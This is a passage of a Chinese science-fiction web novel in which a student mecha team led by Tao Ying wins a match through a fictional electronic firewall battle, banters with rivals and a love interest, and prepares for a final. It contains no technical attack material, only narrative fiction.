陶影再次醒来，呼吸急促，有些喘不过气。 感觉胸口仿佛被百斤巨石压住。 低头一看，触手怪趴在她胸口，沉重的身躯……比大面包更胜一筹。 难怪梦中总觉得呼吸不畅。 陶影提住它的后颈扔到一边，翻身下床，发了一会儿呆后，看了眼时钟。 她竟然睡了十二个小时。 队友推开门，感受到的就是陶影的低气压。 不是吧，谁能让她们队长这么烦躁？ 南卦扒在门边，探出小脑袋提醒：“那个，小影，马上比赛了，我们要去甲板做准备。你怎么心情不太好的样子。” 陶影轻呼一口气，调整表情，恢复了平常的状态，来到门边。 “没什么，梦到有人让我去拯救世界，但我忙着打比赛，不是很想接这个烂摊子。” 林别歌挠挠头：“拯救世界一般是高中生的工作吧？我们都大二了。” 南卦、柏墨：“……” 你别认真回答啊。 数天的休息和训练，队友的配合度上升了不少，这场比赛正好可以检验一下她们的训练成果。 至于拯救世界这种大工程？ 陶影随意靠在门边，脑中不知在想什么。 片刻后，她指尖抵住下巴。 “先赢了比赛再说吧。” 太空女鬼队的第二场比赛，对手是YES队。 前几天训练，陶影曾经说过这场比赛交给她就好，其它没有细讲。 队友当时并不理解陶影的话是什么意思，又为什么这么笃定。 但比赛开始五分钟，她们立刻就明白了。 因为敌方队伍向她们发起了电子战。 这是黑心队长最擅长的领域。 八台机甲悬停在宇宙中，一动不动。 外表没有任何的战斗痕迹，让众人疑惑赛场的时间是不是静止了。 “她们干什么呢？” “我卡了？” “不对啊，我看的是现场比赛又不是直播。” 而观众不可视的电子数据流中，双方正在激战。 电子防火墙都快擦出火星子了。 队友知道的也不比观众多，只能开口询问：“影子，情况怎么样了？” 陶影百忙之中敲敲耳机。 “给我五分钟。” 而另一边，YES队气氛紧张。 方娅思按住头，啃了一口能量补充棒。 她的大脑消耗了太多能量，已经开始头痛了。 YES队的其它队友也没有好到哪里去，都是两眼虚焦地看着屏幕。 陶影的攻击根本没有给人喘息的机会，YES队防守得手忙脚乱。 面板不断弹出警告。 【攻击失败。】 【第一层防火墙已被突破。】 【第二层防火墙已被突破。】 最后的防火墙被突破，眨眼间，YES队的机甲防壁已经被攻破两台。 “这什么技术能力？太变态了吧。” 陶影一个人面对她们四个的电子攻击，不仅完美防守，甚至击破她们的集体防御。 YES队全力抵抗，也只在她手中撑了五分钟。 方娅思和柯蓉咬牙关闭了所有通道，停止电子攻击，变更战术。 陶影预料到这点，很快发出指示。 “该你们上了，队友。” “好嘞。” “看看我们的训练成果！” 林别歌挥舞光刃冲上第一线，开展猛攻，方娅思也不是等闲之辈，稳稳接住她数刀。 而南卦甩着手中冰锤，抓准空档来到方娅思背后，泛着寒光的低温大锤，在接触的瞬间，冻结了敌方的手臂。 林别歌趁机将光刃架上。 南卦和林别歌之间的动作流转，如同咬合的齿轮一般默契十足。 柯蓉反应过来，迅速上前支援队友。 很快战况变得不分上下，双方开始缠斗。 陶影戳戳队友：“小墨，到你了。” “我知道。” 柏墨将狙击枪架在肩膀。 “SC49-生命之息”，专门针对鹤亭的肩部结构设计的狙击枪，取名灵感源自机枪“SC48-死亡之吻”。 之前的狙击枪是通用版，不能速射，陶影总觉得柏墨用起来不太对劲。她跟研究所的成员商量了下，特地做了把可以多发连射的新枪。 可以切换火力，更适合边移动边狙击，灵活作战。 陶影挑眉：“试试枪？” 柏墨扣上扳机，对准不同方向猛开数发。 枪膛传来剧烈的震荡。 SC49-生息的火力比之前的枪更足，子弹朝林别歌飞射而去。 缠斗中心，林别歌正避开方娅思的长枪，后退时系统突然连续报警“不明高速物体接近”，林别歌和南卦处于DR-共鸣状态，得以共享视角。 所以她反应极快地看清那是一颗子弹，迅速下蹲躲开。 但还是险些被击中。 林别歌操纵着机甲，打开对讲机对着柏墨，进入了狂暴模式。 “姓柏的，你想杀了我啊！” “我是在阻止你的自杀行为。” “通过击毙我？” “我瞄准的方娅思。” “她离我只有十米！” “我的子弹不会射偏。” 虽然还是在吵嘴，但柏墨这枪的确击中了方娅思，还限制了柯蓉的活动范围，林别歌虽然有点生气，但还是骂骂咧咧地配合。 三人再次发起攻击，这时陶影也尝试加入共鸣。 在林别歌和南卦原本就处于双人共鸣的状态，她加入也就意味着…… “网状共鸣？” “网状共鸣！” 这是她们第一次在战斗中实现网状共鸣。 队友能感觉到视角瞬间扩大数倍，赛场上的战况瞬间变得明晰。 林别歌的大脑从来没有这么清晰过，她动作瞬间变化，一刀下去，竟然堵死了方娅思和柯蓉的逃跑线路。 南卦的冰锤落下。 柏墨的子弹击中了柯蓉。 YES队队长仍然在尝试重启系统，但徒劳无功。 她们没有惊讶的空闲。 接下来，太空女鬼队每一招都上得十分果断，越来越重，越来越强！ YES队四台机甲，在狂风暴雨式的袭击中，彻底失去行动能力。 队长一把摔下耳机：“你们之前不是说太空女鬼队不足为惧？” 方娅思和柯蓉对视一眼：“没想到她们配合突然变好了……” 和上次比赛相比，提升简直巨大。 她们是怎么在五天内达成这个配合度的？ YES队败局已定，毫无反抗之力，只能举双手投降。 而此时，距离开场不过十分钟。 “第一赛段，第八小组，YES队VS太空女鬼队。” “太空女鬼队胜！” 主持人高亢的宣布声中，数台机甲回港。 与此同时，第一赛段的所有比赛都结束。 最后一天参加比赛的选手，在接受快速药检后，都没有检测出新型兴奋剂。 太空女鬼队及其余八组队伍，成功晋级第二赛段。 所有晋级选手很快收到奖金。 众人疑惑地看着帐号：“嗯？怎么比预计的多了一倍？” “第二赛段不是被取消了嘛，所以原定的奖金就分到第一赛段和决赛了。” “哇塞，我分到了两百多万星币。” 众人看着账户里增加的数字，两手微微颤抖。 一个赛段就挣这么多？ 多亏之前有人发现新型兴奋剂，他们的奖金直接翻倍了！ 说起来发现兴奋剂是因为什么来着……哦，对，因为有人怀疑太空女鬼队嗑药，才引发那场药检，踢掉了好多作弊的队伍。 众人看着账户里的两百万，心里默念：谢谢四位女鬼前几天对着空气说话。 于是近几日，众人路过太空女鬼队的训练场，时不时朝她们竖起大拇指。 “谢了。” “你们干得好哇。” “但决赛我还是不会放水的。” 这事太过凑巧，以图兰提斯和陶影的熟悉程度，她们开始怀疑之前的药检风波是陶影的手笔，趁着串门，特地来找她问了一嘴。 “你们前几天对着空气说话，难道是故意演的？” 陶影盯着笔记本屏幕。 “我最近很忙的。” 言下之意，没有闲心搞这些东西。 说着陶影随手指了指训练场边，祝小芮顺便看去，只见太空女鬼队几位队员在训练的休息时间，依旧在对着地上的空气说话。 祝小芮拍拍头：“所以究竟是怎么回事，那里真的有东西，但我看不见？” “嗯，这个嘛，是有的。” 陶影合上手中的笔记本，盯着祝小芮看了好一会儿。 祝小芮被她盯得有些头皮发麻。 “你又在想什么坏主意？” 陶影露出一个不怀好意的微笑。 “图兰提斯使用的知觉机甲，是从莱门机甲研究所订购的型号吧？” “对啊，最新款。我还用上了那个DR-双人共鸣系统，共享信息，超强的。” “那事情就简单了，我现在就可以告诉你，她们在看什么。” 陶影起身，笑眯眯地朝前一指。 “走，看看机甲？” 第130章 陶影拉着祝小芮和姬达婳,成功共鸣。 林别歌本来是跑过来凑热闹的，但当看到陶影和她们的同步率，沉默了。 林别歌嘤嘤道：“为什么你们和队长的同步率比我还要高,明明没有一起训练过！” “没有一起训练过？”姬达婳说到这个，面上表情变得万分呵呵,牙痒痒道，“天穹杯的时候我们被练得还不够惨？” 天穹杯决赛,图兰提斯战术小队被陶影算计得团团转,最后一战打得心脏都快跳出胸腔了,虽说最后结果还不错…… 但图兰提斯人很记仇，非常记仇！ 之前的热身赛,姬达婳想起陶影不怎么喜欢水,本来想趁机小小报复一下,结果陶影迟迟没进入赛道，计划失败。 但她们没有放弃,只是在寻找合适的机会。 仔细一想，决赛就很适合。 姬达婳双手抱臂,眯起眼睛：“你为什么突然跟我们共鸣，不会又在想什么坏招吧？” 陶影捂着胸口，伤心道：“怎么把我想得这么坏,大事上我什么时候坑过你们？” 祝小芮敏锐捕捉她话里的漏洞：“意思是小事一直在坑，就没停过。” 姬达婳察觉不对，伸手打断道：“大事？什么大事？” 陶影微微一笑：“拯救世界。” 队友们：“……” 图兰提斯选手：“……” 姬达婳和祝小芮长叹一口气，都已经无言以对，陶影眨眨眼睛：“这次是说真的，你们不要不信。” “治治中二病吧。”祝小芮摆手，完全没把陶影的话当一回事。 “话说你刚才不是说只要共鸣了就能看见那个‘不明生物’吗,怎么到现在没出现？” 陶影耸耸肩，朝她身后一指。 “呶，它在那儿。” 祝小芮还没来得及转头，后腰突然被戳了两下，那一种奇怪的触感，软绵绵潮乎乎的，像是果冻一样的…… 触手。 触手？！ 祝小芮条件反射，猛地往前一跳，随后缓缓回头，等看清那是什么，惨叫出声：“啊啊啊啊啊触手怪——！！” 姬达婳倒是不怎么害怕，蹲下身将触手掀来掀去，仔细研究。 “你的精神体？” 陶影：“是啊，可爱吧？” 这人在说什么。可爱？ 姬达婳紧皱眉头看向那坨谜之生物。 声音喵喵咪咪的，倒是给人一种可爱的感觉，但浑身胡乱抽打的触手又弥补了这一点。 听说精神体和本人有相似之处…… 姬达婳冷漠点评：“像是什么不可名状的深渊产物在故作可爱，降低别人的防备，取得信任。” “实际上心中小算盘多得很。” 陶影摩挲下巴：“大花学姐意有所指啊。” “指的就是你。” 祝小芮一开始挺害怕，缩在学姐身后不敢靠近，后来看触手怪没有攻击的意思，就试探着接近。她俩很快熟悉起来，玩得非常开心。 甚至祝小芮离开的时候还有点依依不舍。 祝小芮感叹：“学姐，我也好想精神力提升到SS。” “就为了养只精神体？” “它只需要食用精神力就能存在，不需要铲屎，还能无痛理解你的意思，简直是完美的陪伴者。” “吃的精神力可不少。” 姬达婳看向陶影的方向，听说她最近睡眠时长增加不少，应该就是因为这个。 她思索片刻，突然停住了脚步。 “小芮，你先回去吧。” “学姐你呢？” “有点事。” 星舰的顶部是个小花园，上罩着半弧形的透明天幕。 观光层，下午三点，这个时间点，大部分选手都在训练，花园里非常空旷，只有一个人坐在正中的躺椅上，舒适地喝咖啡。 陶影听到脚步声，头也没转，只半闭着眼睛懒懒道：“来啦？” 姬达婳在她旁边坐下：“你知道我要来？” 陶影摊手：“猜你还有问题忘了问。” 姬达婳没想到陶影这么直白，语气顿了顿。 反正这人不想回答的问题都会想办法糊弄过去，与其兜兜转转试探，不如直接问算了。 姬达婳：“特地告诉我们精神体的存在，为什么？” 她见陶影又要笑着张口，果断打住。 “别说是因为友谊，我不是祝小芮，没那么好骗。” 陶影：“原来大花学姐认为我们之间存在友谊，我好感动。” 姬达婳皮笑肉不笑地举起巴掌，终于忍耐到了极限：“你找抽是吧？” 陶影笑嘻嘻地躺回椅子：“大花学姐还是太有素质，要是你亦姐，这时候枪口已经顶我脑袋上了。” 陶影的话在姬达婳脑子里转了三圈。 姬达婳瞠目：“你知 道姬亦是我姐？” 等下，枪口顶她脑袋又是怎么回事。 陶影是她姐的学生吧，姬亦在大学的教学方式这么暴力？ 不对，姬亦连指导她一个都嫌麻烦，根本不可能认真教学生。 姬达婳脑子里转得飞快，这时骤然想起一件事。 莫比乌斯事件后，姬亦受伤住院，谢绝探视，搞得姬达婳很担心，她左思右想，唯一能得知姬亦消息的，就是白副官，于是去找他套话。 白副官被她缠得没办法，只能说了句实话。 “元帅拒绝探视，只是因为有事在忙。” “她伤得真不重，当时在博物馆，有位神秘人和我们并肩作战，分担火力。” 姬达婳若有所思道：“神秘人？” 她听过神秘人的传闻，听说是位坐轮椅的蒙眼战神，身残志坚，一枪一个仿生人不说，还十分钟就干掉了莫比乌斯两万多个分身。 堪称是全能型王者。 “她究竟是什么人？” 白副官手一抖，心道图兰提斯不愧是战术学院，藏龙卧虎，内部情报网不是盖的，这种一手情报都有。 反应过来差点说漏嘴，白副官迅速给嘴拉上封条。 “好了小婳，再说下去就是机密了。” 最终，不管姬达婳怎么套话，副官都没说出神秘人是谁。 仔细一想，坐轮椅、技术强、全能，这几个词汇组合起来，脑中已经有了人选。 至于明明两只眼睛看得见，还蒙眼…… 难道是因为有什么不能看见的东西？ 啊，陶影晕血！ 姬达婳越想越觉得有理，她靠过来，严肃道：“莱门遗迹博物馆干掉莫比乌斯的是你？” 陶影眨眨眼：“你在说什么，我听不懂。” 说着她捏捏一边的触手怪，寻求认同道：“你说是吧？” “喵喵。” 陶影一点没有要承认的意思，但她这串动作，反而让姬达婳更肯定自己的判断。 熟悉，太熟悉了。 这人不正面回答，分明就是在装傻充愣！ 但口头上是说不过她的。 十秒后，姬达婳默默从兜里掏出金色手枪，喀哒上好膛。 陶影：“？” 大花学姐呵呵一笑。 “黑心队长，你刚刚有一句话说错了，我跟我姐没差，也没什么素质。” “尤其是手里有枪的时候。” 姬达婳狞笑着靠近：“你说不说实话？” 陶影：“……” 陶影躺回椅子，叹了口气。 “姐妹真是一个样，姬亦好歹上过前线，手狠点也就算了，这个没上过前线的怎么也喜欢用枪威胁人。” 陶影自言自语片刻，视线飘向宇宙。 十三信标裂隙，从星舰上看去并不显眼，竖向洞口十分幽静，深不见底，仿佛吞噬了宇宙中的黑暗。 但，又好像宇宙的黑暗原本就是从中诞生。 光脑传来滴滴声，陶影垂头，轻点接通，叶行晖的声音传来。 “小影，之前你说的事我查过了，结果和你说的一样。” “好。” 叶行晖语气有些迟疑：“这件事情牵涉很大……” 陶影点点头：“所以知道的人越少越好。” 陶影已经得到想要的信息，打算结束通话。 但叶行晖语气犹豫，似乎还有话要说，陶影凑近屏幕：“怎么了，还有哪里不对吗？” 叶行晖语气严肃：“莫比乌斯最近没再骚扰你吧？” 陶影摆摆手：“哦……你说这个，没有。之前咖啡馆那次之后，就挺安静的。” 那头小小地传来一声“那就好”。 陶影突然想起，之前她实在被莫比乌斯烦透了，咖啡馆那次之后，和叶行晖聊天忍不住说到这件事。 叶行晖当时扑扇的睫毛瞬间僵硬。 他声音有些低落，垂下头。 “为什么不告诉我？” 陶影歪头：“我自己可以解决的事情，为什么告诉你？” “因为我们……那个……” 叶行晖不说话了。 然后前两天莉缇安娜跟陶影发了一条消息，说叶行晖这个月的电费突然暴增。 ……暴增的峰值，似乎是从陶影跟叶行晖提到，莫比乌斯的分身老是跟着她这件事开始。 陶影福至心灵，眼中充满笑意：“你用公司的电费干嘛了？” 叶行晖移开视线：“没什么。” “吃醋啦？” 通话那头瞬间传来噼里啪啦仪器倒下的声音。 莱门监测中心员工的大喊：“小叶，你怎么倒下了，现在还没到时候，我们还有很多坑没填完。” “话说上班中，你这个耗电分布怎么回事，怎么情绪计算量这么大，我看看，羞涩情绪占比百分之八……十？” “你这有点夸张了吧。” 几位同事正在疑惑发生了什么事，突然看到屏幕这头的陶影，再看看叶行晖的表情，恍然大悟。 “哦，她就是你之前说的那个……姐姐。” “哦，她啊——” 几位同事拉长尾音，意味深长地拍拍小叶后背。 然后凑到屏幕前跟陶影打招呼。 “你好啊，小影。” “小影~” “最近几天没接到你电话，我们小叶很难过~” 在同事一轮接一轮的调戏中，叶行晖神色冷漠片刻，终于坚持不住，裂开了。 他耳尖发红，把屏幕往后推了推。 “你别盯着我。” 话是这么说，但某人也没挂电话。 眼神还时不时往她的方向瞟。 陶影飞速按下截图键，随后没忍住开始大笑。 她擦擦眼角：“小叶，你太好懂了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 第131章 同事们的攻势一点没弱下来。 “不过‘小影’看上去年纪跟你差不多,为什么是姐？” 那同事左看右看：“也不像传闻中的坏女人啊。” 坏女人？ 陶影笑得眉眼弯弯，往前坐起身。 “小叶背地里是这么叫我的？” “我没有，”叶行晖语气慌乱,“你们怎么知道她的？我都没有在你们面前提过……” “你本人是没说过，但那只博美天天说。” 同事指着角落里的雪白团子。 “难道它是乱讲的？” 陶影摸摸下巴：“也不完全是乱讲,看不出来吧，我超坏的。” 同事们：“原来小叶喜欢这个类型啊。” 叶行晖张了张嘴,话到嘴边又咽了回去。 最后吞吞吐吐道：“都说了不是……” “所以不喜欢吗？” “……” 叶行晖面色麻木。 那只博美回头死定了。 他快步走到监测中心顶楼的天台,好不容易摆脱了同事揶揄,一低头，发现陶影也没放过他。 陶影把刚才同事的话录下来了。 莱门监测中心的天台,原本是个非常正经的地方。 此刻却一直在重复播放同事的语音： “所以不喜欢吗？不喜欢吗？不喜欢吗？” 叶行晖张张嘴,对玩心大起的某人无言以对,只能叹气。 “小影，你不帮我就算了,还添乱。” 陶影侧躺在长椅上，手撑着头：“某人语气很幽怨哦。” “是因为谁啊。” “嗯？总觉得你话里有话。”陶影撑着下巴,目光上下打量。 小叶的埋怨好像不单单指刚才逗他玩的事，有点像积累了一段时间的怨气。 她干什么了？ 陶影余光看到他身后的运算机，恍然大悟。哦——懂了,肯定是因为工作量太大。 莱门监测中心最近确实挺忙的。 二十四小时开机，就算不是人类的身体，精神上还是会觉得累吧。 陶影于是隔着屏幕摸摸他头。 “抓莫比乌斯的分身要是真这么头疼，放放也可以，它确实挺难打的。” “现在另一边的工作更重要。” “另一边的工作不还是和它有关？” 叶行晖顿了顿，不知道 想到什么，突然露出一个死亡微笑。 “你好像很喜欢提莫比乌斯,除了它，没有其它话题跟我聊吗？” 陶影语气讶异：“你还真吃醋啊？” “我们是可以吃醋的关系吗？” 陶影少见地一噎。 “这个嘛……怎么说呢。” 陶影抬头望天，又低头思考，一脸不知道怎么回答的表情。要说她是在玩，好像又是真的在思考。 最后叶行晖先败下阵来。 “当我没问，你好好休息吧，准备最后一场比赛应该挺关键的，我不打扰你了。” “倒也没那么忙。” 两个人就这样谁也没有挂电话，直到叶行晖离开天台，打算推门继续工作，陶影似乎终于思考结束，突然开口。 “小叶，其实我一直对你有一些别样的欲望。” “但它是一种本能性的感受，很难用逻辑解释……” 陶影语气正经得要命，乍一听还以为是在说什么工作上的事。 她也确实是这么打算的。 但内容对听的人来说完全不是那么回事。 果然，她话说到一半，光脑那侧突然传来乒铃乓啷的声音。 随后屏幕上的画面天翻地覆，剧烈震荡。 在空中转了一圈。 好像是某人从楼梯上摔下去了。 楼梯尽头，叶行晖艰难地爬起来，不可置信道：“你说什么？” 同事从门内探出头，帮忙重复了一遍：“她说对你有些别样的欲望。” 陶影点头：“嗯，我刚刚是这么说的，对你有些别样的欲……” 叶行晖哽咽了一下。 “我听见了，大家都听见了。” “不用再强调第三次……” 他还要在这里工作的。 运算机的轰鸣声从大厅传来，而且愈演愈烈。 “大家怎么都站在门口？” “哦，这个啊，你来看看就知道了。” 一堆同事在门口聚集，然后人口逐渐增殖。 最后终于惊动了中心主任，他假发都挤掉了，才从人群中挤了出来。 “小叶，你电费爆红条了。真是的，究竟在计算什么东西，一天的电费顶之前十天，你……” 主任看到他的脸，声音骤然转弯，提高八度。 “怎么脸这么红，不会是中病毒了吧！” 同事摆摆手：“哦，主任，不用担心，他就单纯脸红。” “那头有人在表白。” “虽说语气怪沉重的，听上去像是在跟神父告解。” “也有点像犯罪分子在交代犯罪事实。” “但应该是在表白吧？” 主任听同事们七嘴八舌半天，最后终于了解了情况，严肃道：“Dust，上班时间不要用中心的电费谈恋爱！” 叶行晖：“……” 一通混乱中，罪魁祸首默默举起手：“不是，你们可能误解了我的意思……哈喽，有没有人在听？” 莱门监测中心吵吵嚷嚷的，根本没人听见陶影的声音。 最终叶行晖连声招呼都没来得及打，就被主任拉去工作。 陶影看着光脑上的通话结束四个大字，躺在长椅上，神色有些寂寥。 本来打算今天说清楚的。 “唔……算了。” “决赛结束再跟他解释吧。” 还没到决赛，星舰内就开始蠢蠢欲动，对决的气息愈发浓烈。 火药味终于在某刻爆发了。 比赛前天，有两个队伍在训练场起了冲突，其中一队的三个成员被揍得很惨，经过治疗也没有完全恢复到能参加比赛的程度。 “怎么办，明天就要比赛了。” 那队长摇摇头：“没办法了，更换替补队员吧。” 而更换上来的成员陶影非常熟悉。 是许彪、童飞鸣、柴婕。 之前天穹杯的时候，阿尔泽塔军校的三位成员。 不仅陶影奇怪他们的出现，其他队伍的选手也同样觉得怪异。 “他们的驾驶水平怎么当上替补的？” “这个都先不说了，之前许彪不是还死活不愿意参加机甲比赛吗，听说被人打得有心理阴影了，怎么看他训练，像是没这个毛病？” “听说吃药治好了，就是最近那个新型兴奋剂。那药剂甚至可以提升精神力，他们就是因为这个才能力突飞猛进，选上替补的。” “真这么有效？等联赛结束我也吃两颗试试……” 两名选手路过太空女鬼队，说着八卦，离开训练场。 南卦举手：“队长，我觉得阿尔泽塔军校的人出现在这里不太对。” “附议。” 林别歌：“可能是我多想了，但他们不会专程来揍我们吧？” 陶影摊手：“谁知道。” “你怎么一点不慌？” “其实很慌的，但我是队长，怎么可以表现出内心的动摇，引起队友的不安呢？” 陶影眼睛不停地眨，作出一副慌乱的表情。 但没掩住嘴角残留的笑意。 “……队长，你看上去一点也不动摇。” 陶影在队友明显不信的无语眼神中，笑着看向训练场一侧的透明隔间。 训练室。 内部摆放了几台训练器材，因为数量有限，需要排队使用。 排队人数最多的，是十个药丸形态的虚拟舱。 舱门上有个从60:00不断减小的数字，意思是每次限时一小时，如果到时间后面有人排队，舱门会自动打开。 许彪他们三个，目前都躺在虚拟舱里。 他们的排队位置空空如也，一个人都没有，进来的人一看是阿尔泽塔军校的人，都换了个位置排队。 倒不是说其它选手怕了他们，只是马上就比赛了，又有前车之鉴，这种关键时刻，没人想起冲突。 陶影平时都在机甲上训练，还没用过这里的虚拟舱，思索片刻，说：“走，试试。” 说着，她直接来到许彪的虚拟舱前，按下排队按钮，很快，滴滴两声，舱体电子音提示许彪的连接正在断开，准备出舱。 见队友都一动不动，陶影疑惑回头：“愣着干什么，排队啊。” 林别歌看着从虚拟舱里坐起来的三人，只觉得他们块头好像比天穹杯的时候更大了。 她吞咽口水，猛戳了陶影两下：“你想干嘛，找架打啊？” 陶影眼神清澈：“说什么呢，我只是想试试这里的虚拟舱而已。” “我信你个鬼。” 柏墨看了一眼陶影，皱着眉头出口提醒：“这里很多人，有些武器不能随便掏出来。” 陶影郑重地点点头：“我懂，比如电击|枪什么的。” “知道你还……”柏墨转过头，“打起来我不会帮忙的。” 陶影拉过柏墨的光脑，点点点几下。 柏墨低头：“你干嘛？” “哦，万一打起来，你记得录下现场。” 柏墨：“？” 方便回顾如何被揍吗？ 众人虽然都在训练，但察觉到这边的情况，对视一眼，呼吸声骤然变小，他们压制气息，把训练强度调得更低，余光偷偷瞄着这边的情况。 只见许彪粗壮的大腿跨出虚拟舱。 一阵琅琅的电子音后，虚拟舱关闭，自动启用了消毒程序。 而许彪大踏步走到陶影身前，高抬起手，随后在众人小声的惊呼中——挠挠自己的头。 他语气憨厚，朝陶影道：“不好意思，我们占用太久了，你们请吧。” 陶影眼睛微眯，似乎在观察他这话是不是出自真心。 林别歌和南卦忍不住同时“啊？”了一声。 演的吧？ 许彪之前在天穹杯的时候可非常猖狂，这种时候，他不上手揍人就很奇怪了，甚至还说“不好意思？” 不仅是许彪，陶影依次按下柴婕和童飞鸣的舱门，他们出来的时候，都非常有礼貌，甚至离开的时候，看到路边的训练器材倒下，还一个个帮忙放回原位。 许彪临走前，看到清洁工大叔摔倒，毅然决然接过扫把帮忙扫掉了地上的水。 童飞鸣对着大叔关心道：“您没事吧？” 还用了“您”！ 阿尔泽塔出来的痞子 哪个不是“老子老子”的挂在嘴边啊，他们吃错药了？ 第132章 虚拟舱训练结束,林别歌偷偷跟踪阿尔泽塔军校，实时播报他们的今日行踪。 光脑里传来她跟南卦小声但激动的声音：“我去，真的,他们甚至一天都在做好人好事，像被罚做社区服务一样。装友善有必要演到这个地步吗？” 陶影看着手中的录像笑了笑：“嗯,说不定不是演的。” “那是怎么回事？人还能一夜之间性情大变？” “等明天就知道了。” 林别歌“嘿”一声：“听你这个语气知道点什么吧，又瞒着我们？这仨混蛋果然是冲我们来的。” “不止。” 与她们无关……不,严格来说也有点关系,但这三人不是冲她们,甚至也不是冲这场比赛来的。 陶影合上手中的光脑屏幕，给叶行晖发了条消息。 【计划提前,做好准备。】 发完陶影就像什么也没发生似的,躺回床上。 这几天精神力消耗很大,她的睡眠时间疯狂延长，就连白天也常常在睡觉。 很怀念之前一天只睡四个小时就能精神满满的状态…… 现在有种回归婴儿时代的感觉。 柏墨抱臂坐在陶影身边,刚刚看完训练室的录像。 非常不对。 她的结论和队友观察的结果一样。 阿尔泽塔军校三人的行为动作都很正常，却和他们之前的性格明显不符。 柏墨转头问陶影：“你看出什么来了？” “这个嘛,宇宙的真相，人类的进化史。” 陶影懒洋洋道。 柏墨：“……”她就多余问这一句。 十分钟后，陶影安详地躺在床上,睁开一只眼睛，看着她。 柏墨不满地皱眉：“盯着我干什么。” “小墨，比赛结束之后，你想做什么？” “训练开机甲。” “然后呢？” “继续训练，参加其它比赛，”见陶影张口还要再问，柏墨不耐烦打断,“你哪儿来这么多问题？” “没什么，快比赛了有点紧张。” 柏墨上上下下打量她个遍。 没错，是她们那个黑心队长。 这人就算天塌下来也只会喊——“好玩，刚才没看清楚怎么塌的，再塌一遍”。 她，紧张？柏墨眼睛眯成一条缝。 “看来你真的很闲。” 陶影无辜地举起双手：“冤枉啊，我这几天简直忙得不能再忙了，睁眼就是训练，睡着了在梦里也不安稳，简直折磨。” “哪来那么麻烦。精力不足就睡觉，睡不着就起来加练。” 陶影平时就喜欢胡言乱语，睡前更是鬼话连篇，柏墨不想跟她多说，起身打算离开，突然被陶影叫住。 “小墨。” 陶影语气正儿八经。 “决赛如果发生什么，南卦和林别歌的安全就拜托你了。” 柏墨脚步一顿，定定地看了陶影两眼，随后哼笑着移开视线。 “说什么，她们两个需要我保护吗？” 陶影惊讶：“你不是一直认为她们比你弱？” 柏墨沉默一阵。 之前的比赛，陶影、南卦、林别歌三人实现了网状共鸣，一举拿下YES队。 而她连双人共鸣都难以达成。 往常都是她一个人作战，将队友甩在身后，但这次她拼尽全力，无法跟上队友的节奏。 作为太空女鬼队的队员来说，这不合格。 她不想输给队友。 柏墨抬头：“合作也是战斗胜利的一环，这方面，我比不上她们。” “但我不会拖队友后腿的，决赛一定会跟你们共鸣。” 柏墨眼神坚定。 陶影忍不住鼓掌：“哦……” 这小孩当初死活不想跟她们组队，现在竟然能坦率说出“队友”这个词了。 看来大家的关系真是变好了。 陶影一时间有些感慨。 回头得找柏氏工业商谈一下，多坑点下任家主的教育费。 陶影思绪万千，最后微微一笑。 “那就拭目以待。” 决赛的赛制为积分赛，比赛内容为击杀虫族，按照虫族的等级和数目计算得分，最后取积分最高的前三名为冠军、亚军、季军。 当然，不是击杀真的虫族。 第十三信标裂隙，附近投放了大型虚拟设备，会在宇宙中构造一个巨大的投影场。 她们将击杀场地内的虚拟虫族。 “那不就跟玩游戏一样？” “打击感会不会很差？虫族不好模拟吧。” “不会，听说星际机甲协会向火种的技术组请教过数据，赛前还找好几位资深指挥官优化过虫族的表现，都说很真实。” “那太好了。” 星际各大主播的直播间都做好了Lim杯职业联赛的转播准备。 赛前时间，选手聚集到一起，紧张地做最后调试。 主持人在机甲库内随机找队伍采访，但选手们都很忙，纷纷摇手拒绝。 “抱歉，现在忙着调试。” “非要这个时候采访吗？” “比赛结束后再来吧。” 主持人碰了一鼻子灰，有些尴尬地在机库内游移，脚步越发快。 “这个，看来大家都一心比赛……一时间没有愿意接受采访的队伍。” 【哈哈哈哈哈主持人惨遭拒绝。】 【稍微动点脑子都知道这时候没人愿意接受采访吧，谁设计的这个环节？】 主持人读着屏幕，笑得很命苦。 “哦，是我上司设计的，很有病对吧？” 【原来是这样，理解了。】 【上司有病挺正常的。】 【这是直播诶，姐姐你明天还上班吗？打算哪只脚先进公司，我参考一下。】 镜头前，主持人努力维持礼貌微笑，在机库里转了两圈。 她首先采访了撼天队。 其实原本不想采访的，毕竟撼天队中途上了替补选手，而三位替补都来自阿尔泽塔军校。 主持人心里打鼓，阿尔泽塔军校名声在外，待会儿直播间不会因为脏字过多被屏蔽吧？ 但没想到，这将是她今天做的最正常的采访。 撼天队的成员都特别有礼貌。 但本来不正常的人正常起来也很不对。 【这是阿尔泽塔军校的人？】 【我去，他们接受了什么三好学生改造，太恐怖了。】 【能不能送我们班学生也去一下。】 直到离开的时候，主持人都还有些不敢相信，这是之前那个阿尔泽塔。 几位选手简直像变了性格似的。 但没有时间惊讶，采访素材还不够。 比赛还有半个小时。 主持人很快收拾心情，开始寻找下一个队伍。 【太空女鬼队看上去不是挺闲的吗，就采访她们呗。】 【太空女鬼……那个恐怖片系列？】 【不是，我说那个还挺强的新人队伍。】 【之前看过她们对战，虽说第一场比赛挺乱来的，但跟YES队那场比赛，明显进步了不少。】 【还挺期待她们决赛表现的。】 镜头对准了太空女鬼队。 她们看上去确实很闲，既没有在调试机甲，也没有在商讨战术。 一位选手在啃什么风干田鼠，一位在画画，一位磨着手中的小刀。 还有一位不知道从哪里搬来躺椅，正舒适地躺着。 睡觉。 这种情况还能睡得着觉？绝非凡人。 采访素材这不就来了！ 主持人找到救星一样，招呼摄影师，快步走上前，随后面对镜头，字正腔圆道：“太空女鬼队的几位同学，状态非常平稳，就好像在自己家一样。” “明明她们是第一次参加这种规模的比赛，却比其他职业选手心态更稳。” 说着，主持人将话筒递到陶影嘴边。 “请问你们为什么心态这么好。” 陶影半眯着眼睛，笑呵呵道：“没有啊，大家都挺紧张的。” 紧张？ 主持人这时细看，才发现林别歌 吃完田鼠干，开始疯狂进食辣椒素。 南卦的速写本上画满了不可播出之物，十分精神污染。 甚至柏墨手中的小刀，仔细一看，磨的其实是刀背。 …… 看来大家表现紧张的方式不太一样。 林别歌吃得反胃，开始狂吐，南卦找来一个桶帮忙接住，随后担心地拍拍林别歌的背。 柏墨抬眼看到这个情况，迟疑要不要帮忙，最后走上前，抱走林别歌怀里的零食。 “别吃了，待会儿吐机甲里。” 林别歌狂吐之余，不忘回怼：“你没有自己的机甲吗，关心我家机甲干什么？” “我不是关心机……”柏墨话到嘴边，又顿了顿，压了回去。 